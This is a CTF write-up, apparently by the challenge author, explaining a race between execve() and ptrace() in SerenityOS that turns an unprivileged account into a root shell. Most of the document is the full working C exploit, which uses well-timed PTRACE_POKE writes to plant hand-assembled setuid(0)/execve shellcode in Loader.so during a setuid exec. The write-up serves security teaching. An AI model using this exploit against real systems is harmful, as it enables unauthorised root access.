This task was yet another incarnation of last year’s
wisdom task:
Basically,
simply™ get root
in the current version of
SerenityOS
from an unprivileged account.
Apparently, the security improvements made in response to last year’s SerenityOS hacking adventures made the system so secure that only one team managed to break into it during the CTF (in stark contrast to six exploits last time), but of course we also had a sample exploit, which will be explained in this writeup.
The bug I exploited is a race condition:
In sys$execve()
, there exists a small timing window between
setting up the memory mappings of the new executable image,
and
changing the UID for setuid binaries. We can exploit this using PTRACE_POKE
to write
into the executed process’ new memory space after it has been set up,
but before the
UID checks in ptrace()
trigger.
So, in a nutshell, hitting a process with a well-timed PTRACE_POKE
while it is executing a certain part of execve()
allows us to
overwrite code that will (in case of setuid) shortly run as root
.
There are lots of details to get right:
unveil()
ing a
lot of random paths before invoking the execve()
.0x08000000
.
We can thus overwrite the code at the entry point of Loader.so
.PTRACE_POKE
only writes four bytes at a time, so we want our code to
be as small as possible. My solution runs setuid(0)
using the raw
syscall, then sets up the arguments for execve("/bin/sh")
by passing
some values in argv[]
(this makes the code to be written shorter),
and finally calls the execve()
library function that’s statically
linked into Loader.so
.PTRACE_POKE
crashes the kernel under
some circumstances that happen during the execve()
,
so (instead of randomly hammering the process with POKE
s) we should
detect when the new memory mappings have been set up. This can be done
using PTRACE_PEEK
, which is a little bit more forgiving when (for
instance) addresses aren’t mapped. Thus, we simply spin the tracer
process until PTRACE_PEEK
tells us some value known to be different
in the new memory space has changed, and that’s when we run
PTRACE_POKE
as quickly as possible.ptrace()
right, but it’s mostly the
result of playing around with the exploit until it seemed to work
more or less reliably, and I don’t have very good explanations for
these choices besides trial and error.Without further ado, here’s the (somewhat messy) full exploit source code:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <mman.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/arch/i386/regs.h>
#define ass(X) do { if (!(X)) { printf("failed @ %u\n", __LINE__); perror(#X); exit(1); } } while (0)
void child(volatile unsigned char *ready)
{
ass(!unveil("/", "rwx"));
for (unsigned i = 0; i < (1ul << 15); ++i) {
char path[0x100];
sprintf(path, "/tmp/yolo-%u", i);
if (i % 100 == 0) { printf("%s\r", path); fflush(stdout); }
ass(!unveil(path, "rwc"));
}
printf("\n");
printf("child ready\n");
{
*ready = 1; // continue parent
while (*ready != 2); // wait for attach
}
printf("child exec\n");
usleep(100e3);
char str0[] = "/bin/sh";
char *argv[] = {str0, nullptr};
char *envp[] = {nullptr};
execve("/bin/passwd", argv, envp);
printf("child %u\n", __LINE__);
}
unsigned addr_entry = 0x08001ba6; // entry point
unsigned addr_execve = 0x080327b5; // libc execve
unsigned char payload[16] = {
0x99,0xB0,0x31,0xCD,0x82, // setuid(0)
0x58,0x58,0x58,0x50,0xFF,0x30, // push envp, push argv, push *argv
0xE8,0x00,0x00,0x00,0x00, // call <off>
};
unsigned sentinel = 0xcccccccc;
static void prepare_shellcode()
{
unsigned offoff = 12;
* (unsigned*) (payload + offoff) = addr_execve - (addr_entry + offoff + 4);
}
static int set_priority(pid_t pid, int prio)
{
sched_param sp = {prio};
return sched_setparam(pid, &sp);
}
void parent(pid_t pid, volatile unsigned char *ready)
{
set_priority( 0 , 1);
set_priority(pid, 3);
while (*ready != 1) sched_yield(); // wait for child
ass(!ptrace(PT_ATTACH, pid, nullptr, 0));
printf("parent attached\n");
ass(!ptrace(PT_POKE, pid, (void*) addr_entry, sentinel));
printf("wrote sentinel\n");
set_priority( 0 , 3);
set_priority(pid, 1);
*ready = 2; // continue child
unsigned long cnt = 0;
unsigned last_v = -1;
while (true) {
errno = 0;
unsigned v = ptrace(PT_PEEK, pid, (void*) addr_entry, 0), w;
int errv = errno;
if (cnt % 1000 == 0 || v != last_v) { printf("%8lu %-2d %08x\n", cnt, errv, v); }
if (errv == EACCES) {
printf("PEEK ~> EACCES\n");
break;
}
if (!errv && v != sentinel) {
for (unsigned i = 0; i < (sizeof(payload)+3)/4; ++i) {
w = ptrace(PT_POKE, pid, (void*) (addr_entry + 4*i), ((unsigned*) payload)[i]);
printf("<%u> %-2d\n", i, w);
}
break;
}
last_v = v;
if (++cnt % 1000 == 0) {
ass(!ptrace(PT_CONTINUE, pid, nullptr, 0));
sched_yield();
}
}
ass(pid == waitpid(pid, nullptr, 0));
}
int main(int argc, char **argv)
{
////////////////////////////////////////////////////////////////
if (argc >= 2 && !strcmp(argv[1], "payload")) {
// read the flag
int fd = open("/dev/hdb", O_RDONLY);
printf("fd=%d\n", fd);
char buf[0x401];
for (unsigned i = 1; i < sizeof(buf); ++i) {
lseek(fd, 0, SEEK_SET);
errno = 0;
int r = read(fd, buf, i);
if (r != (signed) i) {
printf("i=%d r=%d errno=%d\n", i, r, errno);
break;
}
}
printf("\n--> \x1b[32m%s\x1b[0m\n", buf);
execl("/bin/sh", "sh", nullptr);
exit(0);
}
////////////////////////////////////////////////////////////////
prepare_shellcode();
unsigned char *ready;
{
void *page = mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
ass(page != MAP_FAILED);
ready = (unsigned char*) page;
}
*ready = 0;
pid_t pid = fork();
ass(pid >= 0);
if (pid > 0)
parent(pid, ready);
else
child(ready);
}
The numbers addr_entry
and addr_execve
must match the addresses from
the particular compiled Loader.so
, and perhaps one may need to increase
the number of unveiled paths in child()
to make the race time window
bigger (this seems to depend a bit on questions like KVM vs. QEMU,
amount of memory, etc.), but other than that the exploit should just
work™ with good probability and spawn a root shell on
the most recent version as of the start time of the CTF.
(For some reason I don’t quite understand, the shell seems to only take
a single line of input, but simply typing sh
first thing suffices to
get a fully functional shell.)
Here’s what it looks like when we run it on the CTF challenge: